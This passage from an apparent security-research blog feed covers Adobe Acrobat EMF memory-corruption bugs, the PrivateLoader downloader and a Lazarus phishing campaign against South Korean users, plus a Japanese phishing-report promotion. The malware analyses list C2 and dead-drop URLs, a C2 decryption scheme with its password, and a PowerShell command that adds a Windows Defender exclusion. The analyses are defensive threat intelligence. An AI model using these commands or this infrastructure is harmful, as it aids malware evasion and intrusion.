Metafile Format (EMF) data related to the handling of the EMR_COMMENT record. Figure 1 shows a comparison between a properly structured EMF file with a minimized PoC file that triggers this vulnerability. Figure 1. Comparison between a normal EMF file and the minimized PoC file that triggers a heap buffer overflow Adobe Acrobat will produce the following crash shown in Figure 2. Figure 2. Adobe Acrobat EMF to PDF heap buffer overflow crash Case 2: Use-After-Free This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, which causes a use-after-free crash when Adobe Acrobat improperly processes Enhanced Metafile Format (EMF) data related to the handling of the EMR_COMMENT record. Figure 3 shows a comparison between a properly structured EMF file with a minimized PoC file that triggers this vulnerability. Figure 3. Comparison between a normal EMF file and the minimized PoC file that triggers a use-after-free crash Adobe Acrobat will produce the following crash shown in Figure 4. Figure 4. Adobe Acrobat EMF to PDF use-after-free crash Case 3: Out-of-Bounds Read This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, which causes an out-of-bounds read when Adobe Acrobat improperly processes Enhanced Metafile Format (EMF) data related to the handling of the EMR_COMMENT record. Figure 5 shows a comparison between a properly structured EMF file with a minimized PoC file that triggers this vulnerability. Figure 5. Comparison between a normal EMF file and the minimized PoC file that triggers out-of-bounds read Adobe Acrobat will produce the following crash shown in Figure 6. Figure 6. Adobe Acrobat EMF to PDF out-of-bounds read crash Case 4: Heap Buffer Overflow This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, which causes a heap buffer overflow when Adobe Acrobat improperly processes Enhanced Metafile Format (EMF) data related to the handling of the EMR_COMMENT record. Figure 7 shows a comparison between a properly structured EMF file with a minimized PoC file that triggers this vulnerability. Figure 7. Comparison between a normal EMF file and the minimized PoC file that triggers a heap buffer overflow Adobe Acrobat will produce the following crash shown in Figure 8. Figure 8. Adobe Acrobat EMF to PDF heap buffer overflow crash Case 5: Null Pointer Dereference This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, to produce a null pointer dereference crash as shown in Figure 9. Figure 9. Adobe Acrobat EMF to PDF Null pointer dereference crash Summary In EMF records, the Comment record types define formats for specifying arbitrary private data, embedding records in other metafile formats, and adding new or special-purpose commands. Since an EMR_COMMENT record can contain arbitrary private data, ThreatLabz has found that it can be a potential attack vector. As presented in these case studies, four bugs were discovered by ThreatLabz in Adobe Acrobat when Adobe Acrobat improperly processes Enhanced Metafile Format (EMF) data related to the handling of the EMR_COMMENT record, in addition to a null pointer dereference. Mitigation All users of Adobe Acrobat and Reader are encouraged to upgrade to the latest version of the software. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against these vulnerabilities. PDF.Exploit.EMF2PDFMemoryCorruption Reference Fri, 22 4月 2022 21:06:40 -0700 Kai Lu Peeking into PrivateLoader Key Points PrivateLoader is a downloader malware family that was first identified in early 2021 The loader’s primary purpose is to download and execute additional malware as part of a pay-per-install (PPI) malware distribution service PrivateLoader is used by multiple threat actors to distribute ransomware, information stealers, banking trojans, downloaders, and other commodity malware PrivateLoader is a downloader malware family whose primary purpose is to download and execute additional malware. Intel 471 and Walmart reported on PrivateLoader’s pay-per-install (PPI) service that distributes malware on behalf of other threat actors. The malware payloads can be selectively delivered to victims based on certain criteria (e.g. location, cryptocurrency or financial activity, on a corporate network, specific software installed, etc.) As previously reported, some of the payloads being distributed include Redline Stealer, Vidar Stealer, SmokeLoader, Stop ransomware, and other commodity malware. The PrivateLoader malware is written in the C++ programming language, and based on the existence of multiple versions it seems to be in active development. The name “PrivateLoader” comes from debugging strings that can be found in some versions of the malware, for example: C:\Users\Young Hefner\Desktop\PrivateLoader\PL_Client\PL_Client\json.h PrivateLoader is modularized into a loader component and a main component. Anti-Analysis Techniques Both the loader and main components of PrivateLoader make use of similar anti-analysis techniques. These anti-analysis techniques include obfuscating integer constants with various mathematical operations as shown in Figure 1. Figure 1: Example of a PrivateLoader obfuscated integer constant. Most of the malware’s important strings are stored as encrypted stack strings where each string is decoded with its own XOR key as shown in Figure 2. A listing of PrivateLoader’s decrypted strings for the loader component can be found here and the main component’s decrypted strings can be found here. Figure 2: Example of a PrivateLoader encrypted stack string. Most of the important Windows DLL and API names used by PrivateLoader are also stored as encrypted stack strings. After decryption, PrivateLoader dynamically resolves the API functions at runtime. Finally, PrivateLoader adds junk code to obfuscate the program’s logic and control flow. Loader Component The PrivateLoader loader component contains three dead drop resolver URLs hardcoded in the malware that communicate via an HTTP GET request. An example of PrivateLoader’s dead drop resolvers is the following: hxxp://45.144.225[.]57/server.txt hxxps://pastebin[.]com/raw/A7dSG1te hxxp://wfsdragon[.]ru/api/setStats.php The purpose of these resolvers is to retrieve PrivateLoader’s command and control (C2) address. The first two dead drop resolver URLs return a plaintext response, while the third dead drop resolver returns a response that is XOR encrypted with a one-byte key (e.g., 0x6d). PrivateLoader expects the (decrypted) response to be in the format HOST:<IP_Address>. An example dead drop resolver response is the following: HOST:212.193.30[.]21 If PrivateLoader is unable to retrieve the primary C2 address via the dead drop resolvers, there is a secondary C2 address (2.56.59[.]42) stored in the malware. The C2 address obtained from the dead drop resolver (or the hardcoded C2 address) is combined with the path /base/api/statistics.php. PrivateLoader sends an HTTP GET request to this URL, which in turn fetches another URL that is XOR encrypted with a one-byte key (0x1d). Similar to the previous request, PrivateLoader expects the decrypted response from the C2 to be in the format URL:<PrivateLoader_Main_Component_URL>. An example of a decrypted response from the PrivateLoader C2 is shown below: URL:hxxps://cdn.discordapp[.]com/attachments/934006169125679147/963471252436172840/PL_Client.bmp PrivateLoader retrieves the content from this URL via an HTTP GET request. The response contains an unknown DWORD followed by encrypted data. To decrypt the data, first some of the bytes are replaced as shown in Table 1. Byte to Replace Replacement Byte 0x00 0x80 0x80 0x0a 0x0a 0x01 0x01 0x05 0x05 0xde 0xde 0xfd 0xfd 0xff 0xff 0x55 0x55 0x00 Table 1: Replacement bytes used in PrivateLoader’s decryption algorithm. After the replacement, the data is XOR decrypted with a one-byte key (0x9d). The decrypted data contains the main component, which is a DLL that is injected into the loader process and then executed. The loader passes a structure to the main component containing: The C2 IP address A hard coded integer used in some of the main component’s C2 communications A hard coded integer used to represent the campaign that the malware sample is associated with Main Component The campaign ID passed in from the loader component is mapped to one of 33 campaign names as shown below in Table 2. EU USA_1 USA_2 WW_1 WW_2 WW_3 WW_4 WW_5 WW_6 WW_7 WW_OPERA WW_8 WW_9 WW_10 WW_11 WW_12 WW_13 WW_14 WW_15 WW_P_1 WW_16 WW_17 WW_P_2 WW_P_3 WW_P_4 WW_P_5 WW_P_6 WW_P_7 WW_P_8 WW_18 WW_19 WW_20 WW_21 Table 2: Listing of PrivateLoader campaign names. The sample analyzed for this blog post was configured with campaign ID 27 which maps to WW_P_7. The campaign a particular sample is associated with determines what payloads are downloaded and executed. For some campaigns, the payload URLs are hardcoded into the main component (see the decrypted strings listing), while for others the payload URLs are retrieved from the C2. Some campaigns are also interested in a victim's cryptocurrency and banking activity. PrivateLoader performs this action by searching a large number of file paths, registry keys, browser extensions, and saved browser logins for the following broad groups (see the decrypted strings listing for details): cryptoWallets browser cryptoWallets cold cryptoWallets_part1 cryptoWallets_part2 cryptoGames bankWallets cuBankWallets bankAUWallets paypal bankCAWallets bankWallets_part1 bankWallets_part2 bankMXWallets bankPKWallets bankESWallets shops amazon_eu webhosts VBMT (travel related sites) The wallet and/or saved login data themselves aren’t exfiltrated, rather PrivateLoader just checks for the existence of them. This data is likely used to help determine follow-on payloads such as stealer or banking malware that can make better use of the credentials. The PrivateLoader main component creates a URL by combining the C2 address passed in from the loader with the path /base/api/getData.php. The malware then sends HTTP POST requests containing a command and various data. An example PrivateLoader main component’s request and response is similar to Figure 3. Figure 3: Example C2 request and response by the PrivateLoader main component. The POST data contents in the data field and corresponding response data can be decrypted as follows: Replace the characters "_" with "/" and "-" with "+" Base64 decode the data Generate a 32-byte AES key and a 32-byte HMAC secret with PBKDF2 The password Snowman+under_a_sn0wdrift_forgot_the_Snow_Maiden is stored as an encrypted stack string The salt is stored as the first 16-bytes of the Base64 decoded data The iteration count is hardcoded to 20,000 The HMAC hashing algorithm is SHA512 An IV is stored as the second 16-bytes of the Base64 decoded data An HMAC hash is stored as the last 32-bytes of the Base64 decoded data Between the IV and the HMAC hash is AES encrypted data The HMAC hash is validated Once decrypted, an example C2 beacon looks similar to the following: AddLoggerStat|WW_P_7|{"extensions":[],"links":[{"id":"1916"},{"id":"468"},{"id":"1920"},{"id":"1750"},{"id":"1927"},{"id":"1929"},{"id":"1946"},{"id":"1985"}],"net_country_code":"US","os_country_code":"US"} Each field is pipe delimited and contains the following parameters: Command Campaign name JSON object In this example the JSON object contains: IDs of browser extension payloads that have been downloaded and executed IDs of hardcoded or retrieved payloads that have been downloaded and executed Location of victim based on GeoIP Location of victim based on system data The response data depends on the command and can contain a simple status message (e.g. “success”) or a JSON object. C2 commands may include the following values: GetLinks - get payload URLs GetExtensions - get browser extension payload URLs AddExtensionStat - used to update C2 panel statistics GetIP - used to obtain the victim's external IP address AddLoggerStat - used to update C2 panel statistics SetIncrement|not_elevated - indicates if the malware's process token is not elevated SetIncrement|ww_starts GetCryptoSleeping IsUseDominationProject SetLoaderAnalyze As an example of the GetLinks command, a listing of payload URLs returned for the analyzed sample’s campaign on 04/14/2022 is available here. Some of the payload URLs are encrypted similarly to how the main component was encrypted, while others are unencrypted PE executable files. Conclusion PrivateLoader is a typical downloader malware family that provides a PPI service that has gained traction as a viable malware distribution method for multiple threat actors. PrivateLoader is currently used to distribute ransomware, stealer, banker, and other commodity malware. The loader will likely continue to be updated with new features and functionality to evade detection and effectively deliver second-stage malware payloads. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat names: Win32.Trojan.PrivateLoader Indicators of Compromise IOC Notes aa2c0a9e34f9fa4cbf1780d757cc84f32a8bd005142012e91a6888167f80f4d5 SHA256 hash of analyzed PrivateLoader loader component 077225467638a420cf29fb9b3f0241416dcb9ed5d4ba32fdcf2bf28f095740bb SHA256 hash of analyzed PrivateLoader main component hxxp://45.144.225[.]57/server.txt Loader component dead drop resolver hxxps://pastebin[.]com/raw/A7dSG1te Loader component dead drop resolver hxxp://wfsdragon[.]ru/api/setStats.php Loader component dead drop resolver 212.193.30[.]21 Primary C2 address 2.56.59[.]42 Secondary C2 address /base/api/statistics.php Loader component URI hxxps://cdn.discordapp[.]com/attachments/934006169125679147/963471252436172840/PL_Client.bmp Encrypted main component /base/api/getData.php Main component URI Thu, 28 4月 2022 08:51:40 -0700 Dennis Schwarz クラウドから見つかった、脅威の新しい手口とフィッシング攻撃の傾向について 2022年版ThreatLabZフィッシング レポートの無料のコピーをダウンロードし、インフォグラフィックもご覧ください。 数十年もの間、フィッシング対策はあらゆるセキュリティ部門にとって複雑で時間のかかる課題となっています。2022年版ThreatLabZフィッシングレポートの調査結果からも明らかになっているように、この改題の解決は難しくなる一方で、攻撃者はより狡猾になっているだけでなく、構築済みのフィッシング キットがダークネット上で入手できるようになったため、攻撃回数そのものも増えてきています。本年次レポートは、世界最大のセキュリティ クラウドからの1年分のフィッシング データを基に、ThreatLabzから現在のフィッシング脅威の状況に関する深い洞察を提供します。最新のフィッシング攻撃を回避するにはユーザー側の意識向上に加え、追加のコンテキストとゼロトラストのアプローチが必要です。 レポートのハイライト マイクロソフトのような有名企業のなりすましから、Googleなどの検索プラットフォームでの広告購入まで、脅威アクターはさまざまな戦術とテクニックを使用し、ユーザーをだまして機密情報を入手しようとしています。昨年の1日当たり2,000億件以上のトランザクションを分析した2022年のレポートでは、以下のことが明らかになりました。 2021年のフィッシング攻撃の件数は2020年から29%増加しましたが、その要因としては以下の傾向が考えられます。 COVID-19と在宅勤務:消費者がより多くの活動をオンラインで行うようになったことで、新たな攻撃の手口が生まれています。 脅威からの保護の強化:多くの組織が脅威からの保護体制を向上させているため、攻撃者はより高度な手法を使用するようになっています。フィッシング攻撃を通じて攻撃者は正当なログイン資格情報を入手し、セキュリティ制御を覆してシステムを侵害できるようになります。 サービスとしてのフィッシング:予め構築されたツールがパッケージ化されたフィッシング キットを使うことで、高度な技術的スキルを持たない者でもより手軽にフィッシング攻撃を実行できます。また、このようなキットにより、セキュリティ部門がフィッシング攻撃を発見しづらくなっています。   今回の調査では、96%以上の攻撃が参照ドメインを欠いており、被害者が電子メールやSMS、その他のクライアントを介してフィッシング サイトへの直接リンクをクリックしたことがわかっています。電子メールは引き続き上位のフィッシングのベクトルとなっていますが、SMSなどの他のベクトルも増加傾向にあります。消費者は電子メールよりもテキスト メッセージを信頼しており、SMSフィッシング(スミッシング)攻撃が成功すると、攻撃者が2要素認証を迂回するのに必要なスマートフォンへのアクセスを得てしまう場合もあります。参照ドメインの上位20件には、検索プラットフォーム、企業のフォーラムとマーケットプレイス、共有サイト、Eコマース ツールなどが含まれていました。 多くの攻撃者がコロナ禍を受けて盛んになったオンライン ショッピングのトレンドを利用したため、小売業および卸売業では2021年のフィッシング攻撃が436%もの大幅な増加をみせました。小売業と卸売業は、フィッシング攻撃の標的になりやすい業界の第5位から、昨年トップであった製造業を抜いて今年の第1位となりました。 米国は60%以上のフィッシング攻撃の対象となり、当社の調査ではまたしても最も標的にされている国となりました。一方、米国における2021年のフィッシング攻撃の増加率はわずか7%であったのに対して、他の地域での増加率はこれをはるかに上回りました。ThreatLabzは、2021年にフィッシング攻撃が特に急増した国の詳細とともに、標的にされた上位10か国の一覧を共有しています。 さらに、ThreatLabzによる今年のレポートではフィッシング脅威アクターが使用する一般的な手法を分析し、企業リスクを高める主な要因について考察しています。これらには、以下のようなものが含まれます。 特に標的にされた地域と業界 パーソナライゼーションと高度に標的化された攻撃 ゼロデイ脆弱性と急速なエクスプロイト サービスとしてのフィッシングおよびフィッシング キット 安全なドメインと信頼できるプラットフォーム フィッシング防御対策を強化するには 業界の統計によると、平均的な組織は毎日数十通のフィッシング メールを受信しています。マルウェアやランサムウェア攻撃による損害により、成功したフィッシング攻撃による平均コストは前年比で上昇しており、金銭的損失は雪だるま式に膨らんでいます。このレポートで取り上げるすべての脅威に対応することは大変な作業であり、フィッシングのリスクを完全に排除することはできませんが、観察された傾向やインシデントから学ぶことで、リスクをより適切に管理することができるでしょう。 フィッシング攻撃のリスクを軽減するための基本的なポイント リスクを理解し、ポリシーやテクノロジーに関する意思決定をより適切に行うこと 自動化されたツールと実用的な情報を活用することで、フィッシングのインシデントを減少させること ゼロトラスト アーキテクチャーを実装し、攻撃の影響範囲を制限すること セキュリティ意識の向上とユーザーの報告を促進するため、研修を随時実施すること フィッシング攻撃のシミュレーションを行うことで、プログラムの隙を特定すること フィッシング攻撃の軽減に貢献するZscaler Zero Trust Exchange ユーザー侵害は、防御が特に難しいセキュリティの課題の一つです。より広範なゼロトラスト戦略の一環としてフィッシング防止対策を実装して、アクティブな侵害を検出し、侵害がもたらしうる損害を最小限に抑えることができる体制を整える必要があります。Zscaler Zero Trust Exchangeは攻撃対象領域の最小化、侵害の防止、水平移動の阻止、情報漏洩の回避を目的とした包括的なゼロトラスト アーキテクチャーに基づいて構築されており、以下の方法でフィッシングを阻止します。 侵害の防止:大規模に行われる徹底的なSSLインスペクション、ブラウザ分離、および疑わしいWebサイトへのアクセスを防止するポリシー活用型のアクセス制御を行います。 水平移動の抑止:ユーザーをネットワークではなくアプリに直接接続して、潜在的なインシデントの影響範囲を制限します。 侵害されたユーザーと内部脅威のシャットダウン:攻撃者がお客様のアイデンティティー システムへのアクセスを得た場合、インライン検査でプライベート アプリの悪用を防止します。また、統合されたデセプション機能により、非常に高度な攻撃者も検出できます。 情報漏洩の阻止:移動中と保存中のデータを検査し、アクティブな攻撃者による潜在的なデータ盗難を防止します。 関連するZscalerの製品 Zscaler Internet Accessは、すべてのインターネット トラフィックをZero Trust Exchangeを介してルーティングして検査することで、悪意のあるアクティビティーを特定して停止できます。具体的には、以下のものをブロックします。 Zscalerのクラウド、およびネイティブに統合されたオープン ソースと商業的な脅威の情報源で確認されたURLやIP。これには、新しく確認されたドメインや新たにアクティブになったドメインなど、フィッシングに一般的に使われる、ポリシーで定義された高リスクのURLカテゴリーが含まれます。 ThreatLabzによる、フィッシング キットやフィッシング ページの分析から得られたIPSシグネチャー。 AI/機械学習による検出を活用した、コンテンツ スキャンで特定された新型フィッシング サイト。 Advanced Threat Protectionは、既知のコマンド&コントロール ドメインをすべてブロックします。 Advanced Cloud Firewallは、新しいコマンド&コントロールの接続先を含む、すべてのポートとプロトコルにコマンド&コントロールの保護を提供します。 Cloud Browser Isolationは、ユーザーと悪意のあるWebカテゴリーの間に安全なギャップを作り出し、コンテンツを一連の画像としてレンダリングして、情報漏洩とアクティブな脅威の配信を排除します。 Advanced Cloud Sandboxは、第2段階のペイロードで配信される未知のマルウェアを防止します。 Zscaler Private Accessは、最小特権アクセス、ユーザーとアプリ間のセグメント化、プライベート アプリ トラフィックの徹底的なインライン検査を駆使し、水平移動を制限することでアプリケーションを保護します。 Zscaler Deceptionは、デコイのサーバー、アプリケーション、ディレクトリー、およびユーザー アカウントで攻撃者を誘い出すことで、水平移動や特権のエスカレーションを行おうとする攻撃者を検出して封じ込めます。 さらなる詳細について ThreatLabzが発表した2022年版フィッシング レポートをダウンロードし、フィッシング攻撃の最新の傾向と以下の点について詳しく知りましょう。 21種類の一般的なフィッシング攻撃や11種類の詐欺のカテゴリーについての概要、および一般的な手口や新型の詐欺に使用される戦術、技術、手順(TTP)の脅威分析 フィッシングによる脅威の状況が専門化と自動化へとシフトし、脅威アクターがこれまで以上に強力な攻撃を仕掛けられるようになった背景 攻撃を特定し、フィッシングへの防御態勢を強化するためのベスト プラクティス ゼロトラストによって、フィッシング攻撃からの防御体制をいかにして固められるか 2023年におけるフィッシングの傾向予測 コピーをこちらからダウンロードできます。  Zscaler ThreatLabzについて Zscaler ThreatLabzは、高度なサイバー脅威からお客様を保護することを使命とするグローバルな脅威研究部門です。脅威アクターの追跡、マルウェアのリバース エンジニアリング、行動分析、データ サイエンス分野で数十年の経験を有する100人以上のセキュリティのエキスパートで構成される本部門は、Zscaler Zero Trust Exchangeからの1日あたり300兆件のシグナルから得られる知見を活用し、24時間365日体制で新たな脅威を特定、防止しています。 結成以来、ThreatLabzは新たな脅威ベクトル、攻撃キャンペーン、グループの進化を追跡し、脅威アクター、マルウェア、ランサムウェア ファミリー、フィッシング攻撃キャンペーンなどのアクティブなセキュリティ侵害インジケータ(IOC)やTTPといった、ゼロデイ脆弱性に関する重要な調査結果と洞察を提供してきました。 ThreatLabzは業界内の情報共有をサポートし、Zscalerの世界トップクラスのセキュリティ ソリューションの開発において不可欠な役割を果たしています。脅威に関するThreatLabzの最新の調査については、Zscalerのブログをご覧ください。 Wed, 20 4月 2022 12:00:01 -0700 Rohit Hegde A "Naver"-ending game of Lazarus APT Zscaler’s ThreatLabz research team has been closely monitoring a campaign targeting users in South Korea. This threat actor has been active for more than a year and continues to evolve its tactics, techniques, and procedures (TTPs); we believe with high confidence that the threat actor is associated with Lazarus Group, a sophisticated North Korean advanced persistent threat (APT) group. In 2021, the main attack vector used by this threat actor was credential phishing attacks through emails, posing as Naver, the popular South Korean search engine and web portal. In 2022, the same threat actor started spoofing various important entities in South Korea, including KRNIC (Korea Internet Information Center), Korean security vendors such as Ahnlab, cryptocurrency exchanges such as Binance, and others. Some details about this campaign were published in this Korean blog, however they did not perform the threat attribution. Even though the TTPs of this threat actor evolved over time, there were critical parts of their infrastructure that were reused, allowing ThreatLabz to correlate the attacks and do the threat attribution with a high-confidence level. Our research led us to the discovery of command-and-control (C2) domains even before they were used in active attacks by the threat actor. This proactive discovery of attacker infrastructure helps us in preempting the attacks. In this blog, we will share the technical details of the attack chains, and will explain how we correlated this threat actor to Lazarus. We would like to thank Dropbox for their quick action in taking down the malicious accounts used by the threat actor, and for also sharing valuable threat intelligence that helped us with threat attribution. Attack chains This threat actor has frequently updated its attack chains over the last two months. We identified three unique attack chains used by the threat actor to distribute the malware in emails: Figure 1: Attack flow Spear phishing emails distribution During our analysis, we discovered that at least one of the IP addresses (222.112.127[.]9) used by the threat actor to log in to the attacker-controlled Dropbox accounts was also used to send spear phishing emails to the victims in South Korea. Below are examples of two such emails that were sent from the IP address 222.112.127[.]9. Note: This IP address is related to KT Corporation, a Korean telecom provider. Multiple IP addresses related to KT Corporation were abused by this threat actor during the current attack. Email #1 In this email, a macro-based document was sent to the victim. Figure 2: Email sent to the victim Figure 3 below shows that the decoy content of the document is related to Menlo Security company. This is consistent with other decoy contents used by the threat actor. For instance, in the document with MD5 hash: 1a536709554860fcc2c147374556205d, the decoy content used was related to Ahnlab - a Korea-based computer security company. This is done for the purpose of social engineering. Figure 3: Decoy content Email #2 In this email, a password protected macro-based XLS file was sent to the victim. The password for the file was mentioned in the email body. The theme of the file is related to cryptocurrency investments. This theme is consistent with other documents sent in this campaign as well. Lazarus Group is known to have a keen interest in attacking cryptocurrency users, asset managers, and companies. Figure 4: Email sent to the victim Figure 5 below shows the sender's IP address in the email headers as indicated by the X-Originating-IP field. Figure 5: Email header showing originating IP, Sender and Recipient Threat attribution In order to perform the threat actor attribution, we did a correlation of the below data points. 1. C2 IP addresses 2. Attacker-controlled Dropbox accounts’ registrant email addresses 3. C2 domains’ registrant email addresses 4. Passive DNS data 5. Sender's email address in credential phishing attacks 6. Sender's IP address in credential phishing attacks Note: OSINT information related to the above data points was also used in correlation analysis. # Correlating different attacks to same threat actor As described in the network communication section later in the blog, the Stage-3 binary initially connects to an attacker-controlled Dropbox account to fetch a C2 domain which is used to perform further network communication. In collaboration with Dropbox, we were able to discover the email addresses associated with the attacker-controlled Dropbox accounts used during this attack. One such email addresses was: peterstewart0326@gmail[.]com This same email address was recently mentioned in Prevailion's blog. It was linked to several domains which were used during Naver-themed phishing activity. Also, according to this blog from 2021, this same email address was also used to send Naver-themed credential phishing attack emails to users in South Korea. Correlating the above data points, we can say with a high confidence level that the attack chains we have described in this blog are also related to the same threat actor. # Attribution to Lazarus APT According to the threat infrastructure mapping done in Prevailion blog, the IP address 23.81.246[.]131 belongs to one of the critical nodes used by the threat actor during Naver-themed phishing activity. One of the domains linked to this IP address was navercorpservice[.]com. If we check the passive DNS data for this domain, we find two other IP address resolutions: 172.93.201[.]253 in November 2021 and 45.147.231[.]213 in September 2021. The IP address 172.93.201[.]253 was recently used to host the domain - disneycareers[.]net which was attributed to Lazarus APT in Google TAG blog. Further, what caught our attention was the IP address 45.147.231[.]213. This IP address was earlier used by North Korea-based APT threat actor. Recently, we also had a new domain resolution alert for this IP address as part of our C2 infrastructure tracking. If we pivot on the passive DNS data for this IP address, we can see that the domain: www.devguardmap[.]org was hosted on this IP address in Jan 2021 which was attributed to Lazarus APT as per this tweet from ESET and Google TAG blog. Correlating all the above data points, we reached the conclusion that the attack-chains we discovered are related to Lazarus threat actor. To the best of our knowledge, at the time of writing, this threat actor attribution has not been publicly documented yet. Technical analysis For the purpose of technical analysis we will consider the attack chain starting with a Compiled HTML file having MD5 210db61d1b11c1d233fd8a0645946074. [+] Stage 1: Compiled HTML file The CHM file contains a malicious binary embedded inside it. At runtime, this will be dropped on the filesystem in the path: C:\\programdata\\chmtemp\\chmext.exe and executed. The code responsible for extracting, dropping and executing the binary is present inside 1hh.html as shown below. Figure 6: HTML code dropping and executing the binary [+] Stage 2: Dropper The dropper on execution performs the following operations: 1. Detects sleep patching to identify controlled execution environment such as Sandbox execution 2. Checks the name of all the running processes and terminates if it finds a process running with the name "v3l4sp.exe". This process name corresponds to the security software developed by Ahnlab (a popular and frequently used security vendor in South Korea). 3. Creates file in the path "C:\ProgramData\Intel\IntelRST.exe" 4. XOR decodes the embedded PE from a hardcoded address 5. Writes the decoded PE to the file created in Step-3 6. Modifies PEB to masquerade itself as explorer.exe 7. Executes IntelRST.exe 8. Creates RUN registry entry for persistence Value: IntelCUI Data: C:\ProgramData\Intel\IntelRST.exe [+] Stage 3: Dropped binary The file IntelRST.exe dropped by the Stage-2 dropper is an ASpacked binary. On execution it performs the following operations: 1. Similar to the dropper binary it tries to detect sleep patching to identify controlled execution environment 2. Collects machine information and stores using the specified format which is later exfiltrated and used as machine identifier. String format: [decoded_string]_[username]_[volume_serial_number_post_8_bytes] decoded_string: (encoded string) ^ (key) [encoded_string_byte_offset%keySize] username: GetUserName() volume_serial _number: Using DeviceIoControl with IOCTL_STORAGE_QUERY_PROPERTY (0x2d1400) 3. Checks name of all the running processes and terminates if there is some process running with the name "v3l4sp.exe" or "AYAgent.aye" or "IntelRST.exe" 4. If running with administrator privileges then it executes a PowerShell command using cmd.exe to add WindowsDefender exclusion. PowerShell command: Powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Intel\IntelRST.exe 5. Finally it starts the network communication [+] Network communication The network communication occurs in the following sequence: 1. Send a GET request to the URL "". 2. Query the file size and send another network request to read the file content. Note: The file content points to the C2 domain to be used for rest of the network communication. 3. Using the extracted C2 domain, send a POST request to the path "/post.php" and exfiltrate collected user information. Exfiltrated user information format: uid={string_generated_in_Step-2_of_Stage-3_binary}&avtype=%d&majorv=%d&minorv=%d 4. Finally send a GET request to the path "/{decoded_string_from_step-2_of_Stage-3_binary}/{formated_string_from_step-2_of_Stage-3_binary}/fecommand.acm" Note: At the time of analysis we didn't get any active response from the C2 server for the above network request. Zscaler Cloud Sandbox detection # Document detection # Dropper detection Indicators of compromise [+] Hashes MD5 Description 37505b6ff02a679e70885ccd60c13f3b c156572dd81c3b0072f62484e90e47a0 Document d7f6b09775b8d90d79404eda715461b7 a0f565f7f579f0d397a42db5a95d4ae8 e2e5644e77e75e422bde075f409d882e 37b7415442ab8ca01e08b2d7bfe809e2 d19dd02cf375d0d03f557556d5207061 e3ffda448df223b240a20dae41e20cef e732bc87033a935bd2d3d56c7772641b 825730d9dd22dbae7f2bd89131466415 c32f40f304777df7cfab428a54bb818b b587851d8a42fc8c23f638bbc2eb866b 4382384feb5ad6b574f68e431006905e 493f59b6933e59029bf3106fd4a2998d bdfb5071f5374f5c0a3714464b1fa5e6 1769a818548a0b52c7be2a0a213a9384 7b07cd6bb6b5d4ed6a2892a738fe892b 9775ef6514916977d73e39a6b09029bc 44be20c67a80af8066f9401c5bee43cb 15a7125fe9e629122e1d1389062af712 1fd8fef169bf48cfdcf506151264128c 9ad00e513364e9f44f1b6712907cba9b 1a536709554860fcc2c147374556205d a2aca7b66f678b85fc7b4015af21c5ee bd416ea51f94d815b5b5b66861cbdcc5 ecb2d07ede5a401c83a5fca8e00fa37a db0483aced77a7db130a6100aef67967 c0b24dc8f53227ce0c64439b302ca930 bb9ee3a6504fbf6a5486af04dbbb5da5 ce00749c908de017010055a83ac0654f 2677f9871cb340750e582cb677d40e81 Document (Template based) 90f2b7845c203035f0d7096aa28dda83 044e701e8d288075b0fb6cd118aa94db 556abc167348fe96abfbf5079c3ad488 0ef32b48f6ca3a1a22ab87058b3d8aa0 4548c7f157d300ec39b1821db4daa970 430d944786e05042cdbe1d795ded2199 96d86472ff283f6959b7a779f004dfba 137910039cb94c0301154f3d1ec9ba29 728b908e90930c73edeb1bf58b6a3a64 1559aeb8e464759247e4588cb6a09877 6df608342938f0d30a058c48bb9d8d4d 78aa7e785a96f2826ee09a1aa9ab776e 0c2dde41d508941cf215fe8f1f7e03a7 783e7c3ba39daa28301b841785794d76 a225b7aff737dea737cd969fb307df23 Template 210db61d1b11c1d233fd8a0645946074 e25ac08833416b8c7191639b60edfa21 114f22f3dd6928bed5c779fa918a8f11 Compiled HTML (CHM) [+] File names Original Name Translated Name 확진자 및 동거인 안내문 (50).chm 메타콩즈가이드_1900002.chm NFT Metakongz Minting.chm 202204_암호화폐_투자기획.docx 사건 경위서.docx 마산합포구 400억 대출요청.docx 40억_자금투자계약서.docx 긴급재난지원금신청서양식.docx 대한광산개발(주).docx 크립토스_로그인.docx Guide to confirmed cases and living with them (50).chm Meta Kong's Guide_190002.chm NFT Metakongz Minting.chm 202204_Cryptocurrency_Investment Planning.docx incident report.docx Masanhappo-gu 40 billion loan request.docx 4 billion_fund investment contract.docx Emergency Disaster Subsidy Application Form.docx Daehan Mine Development Co., Ltd. docx cryptos_login.docx [+] C2 domains naveicoipg[.]online naveicoipf[.]online naveicoipc[.]tech naveicoipa[.]tech naveicoipe[.]tech naveicoipd[.]tech naveicoipep[.]tech naveicoiph[.]online naveicoipg[.]tech naveicoipf[.]tech naveicoipb[.]tech naveicoipj[.]online naveicoipi[.]online naveicoipe[.]online naveicoipd[.]online naveicoipc[.]online naveicoipb[.]online naveicoipa[.]online naveicoipc[.]com naveicoipa[.]com naveicoip[.]com naveicoiph[.]tech naveicoip[.]tech naveicorp[.]com copycatfrag[.]store knightsfrag[.]store parfumeparlour[.]store # New domain resolutions for the IP 23.81.246[.]131 navernidb[.]link navermailteam[.]online navermailservice[.]com mailservicecorp[.]online mailhelp[.]online mailcustomerservice[.]site cloudcentre[.]xyz naverservice[.]host mailserviceteam[.]email navermcorp[.]com naverserviceteam[.]com naversecurityteam[.]com navermanageteam[.]com navermailmanage[.]com navercorpservice[.]com navermailcorp[.]com naversecurityservice[.]online navermailservice[.]online navercorp[.]live navercscorp[.]com navermanage[.]live navermanage[.]com navernidmail[.]com noreplya[.]xyz [+] Emails # Dropbox accounts associated email addresses peterstewart0326@gmail[.]com kimkl0222@hotmail[.]com laris081007@hotmail[.]com [+] PDB path D:\Works\PC_2022\ACKS_2012\fengine\Release\fengine.pdb About us Zscaler ThreatLabz is a global threat research team with a mission to protect customers from advanced cyberthreats. Made up of more than 100 security experts with decades of experience in tracking threat actors, malware reverse engineering, behavior analytics, and data science, the team operates 24/7 to identify and prevent emerging threats using insights from 300 trillion daily signals from the Zscaler Zero Trust Exchange. Since its inception, ThreatLabz has been tracking the evolution of emerging threat vectors, campaigns, and groups, contributing critical findings and insights on zero-day vulnerabilities, —including active IOCs and TTPs for 